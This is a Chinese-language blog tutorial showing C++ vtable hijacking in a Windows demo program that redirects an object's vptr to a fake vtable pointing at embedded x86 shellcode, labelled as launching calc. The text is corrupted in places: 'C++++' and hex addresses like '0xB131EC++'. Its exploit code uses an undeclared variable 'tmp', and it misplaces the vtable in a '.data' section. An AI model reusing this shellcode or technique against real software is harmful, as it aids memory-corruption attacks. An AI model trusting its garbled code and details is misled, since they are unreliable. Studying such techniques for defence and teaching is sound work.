![「技术教程」深入探索:实战虚函数表劫持(RealPwn-1)插图 「技术教程」深入探索:实战虚函数表劫持(RealPwn-1)插图](https://blog.eswlnk.com/wp-content/uploads/wpcy/113d7451b9e43cf834298f49e520a6a5.jpg)
虚函数表
C++++ 里,为了实现 “多态” ,使用了虚函数表 (vtable)。
每个含有虚函数的类的对象,在内存的起始处有一个 vptr 的指针,指向虚函数表。
虚函数表存了类里所有虚函数的指针。调用函数时,在这个虚函数表里查找实际要调用的函数。
借用网上的一张图
![vft.png vft.png](https://static.eswlnk.com/2024/02/20240208204321830.png-esw)
特性
总结下虚函数表的特性:
- 虚函数表在
.data
段,仅可读,无法修改 - 虚函数表类似一个数组,每个有虚函数的类的对象实例都存储指向虚函数表的指针。
- 虚函数表指针 vptr 一般在对象起始的 4 字节(32 位) 或 8 字节(64 位),多重继承时有可能存在多个虚函数表,
调试
下面调试一下,环境 VS2019 + x32dbg:
代码:
#include <iostream>
#include <Windows.h>
using namespace std;
class A {
public :
virtual int hijackme() {
return 1;
}
};
int main() {
char msg[128];
A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);
sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;
system("pause");
return 0;
}
x32dbg 里看内存
0x014FD028
是 vptr ,指向虚函数表。
![image-20210702163900420 image-20210702163900420](https://static.eswlnk.com/2024/02/20240208204319158.png-esw)
0xB131EC++
是虚函数表,所在内存是只读的无法修改,它指向的是函数实际的地址,无法修改虚表中函数的地址。
![image-20210702164047943 image-20210702164047943](https://static.eswlnk.com/2024/02/20240208204320112.png-esw)
对象是在堆上的,它的内存是 RW
可读可写的,常见的攻击思路是修改对象的虚函数表指针 vptr ,即 0x014FD028
中的数据。
![image-20210702164627019 image-20210702164627019](https://static.eswlnk.com/2024/02/20240208204320411.png-esw)
试验一下。
要在内存中伪造出一个虚表,将对象的虚表指针指向它。
修改代码
#include <iostream>
#include <Windows.h>
using namespace std;
class A {
public :
virtual int hijackme() {
return 1;
}
};
// 弹计算器
char shellcode[0x1000] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";
int main() {
char msg[128];
A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr );
sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;
system("pause");
char fake_vtable[4]; //伪造一个虚表
long shellcode_addr = (long)((long*) (shellcode));
memcpy(fake_vtable, &shellcode_addr ,4); //虚表指向shellcode
sprintf(msg, "fake_vtable address: 0x%p", &fake_vtable);
cout << msg << endl;
sprintf(msg, "shellcode address: 0x%p", (long*) shellcode);
cout << msg << endl;
system("pause");
long fake_vtable_addr = (long) ( (long*) fake_vtable );
memcpy(tmp, &fake_vtable_addr, 4); // 修改对象虚表指针,指向伪造的虚表
system("pause");
a->hijackme();
return 0;
}
重新执行
![image-20210702175254591 image-20210702175254591](https://static.eswlnk.com/2024/02/20240208204323608.png-esw)
在 0x00DC++FE44
处构造一个虚表,只要一个项,指向 0x00535020
。
0x00535020
是 shellcode
![image-20210702174636492 image-20210702174636492](https://static.eswlnk.com/2024/02/20240208204325835.png-esw)
这里涉及到一个问题,shellcode 是在 .data
段不可执行的,一般来说需要构造 ROP 链,给 shellcode 所在内存加上执行权限。这里略过这个问题,暂时先关掉 DEP(属性 —> 链接器 —> 高级)。
![image-20210702173559882 image-20210702173559882](https://static.eswlnk.com/2024/02/20240208204325943.png-esw)
应该就可以执行 shellcode 了。
![vtable-hijacking vtable-hijacking](https://static.eswlnk.com/2024/02/20240208204327344.gif)
📮评论